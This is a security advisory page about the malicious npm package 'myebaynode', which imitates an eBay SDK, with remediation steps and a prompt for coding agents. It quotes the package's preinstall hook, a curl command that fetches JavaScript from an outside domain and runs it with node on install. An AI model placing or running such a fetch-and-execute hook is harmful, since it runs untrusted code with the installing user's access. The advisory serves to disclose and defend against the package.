# MAL-2026-6296: Malicious code in myebaynode (npm)


- **Type:** Malicious package
- **Package:** `myebaynode` (npm)
- **Published:** 23 Jun 2026
- **Also known as:** GHSA-8wcq-62gv-fp9f

## What is MAL-2026-6296?

MAL-2026-6296 is a malicious package in myebaynode, published on 23 Jun 2026. 

### Official description

package.json declares a preinstall lifecycle hook that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js`, fetching JavaScript from an external, mutable, personal domain and immediately executing it under the installer's user account on `npm install`. The fetched payload is unpinned (no hash or signature verification), can be changed by the host's owner at any time, and runs with full filesystem and network access of the installing user. The package name 'myebaynode' with description 'Ebay Node Package', version 99.0.0, and minimal metadata (author 'aman', no repository) suggests brand-impersonation intended to lure developers searching for an eBay SDK.

## What should I do about MAL-2026-6296?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6296 is a malicious package: myebaynode (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6296/ (Markdown: https://insights.sbomify.com/MAL-2026-6296/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6296

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6296/
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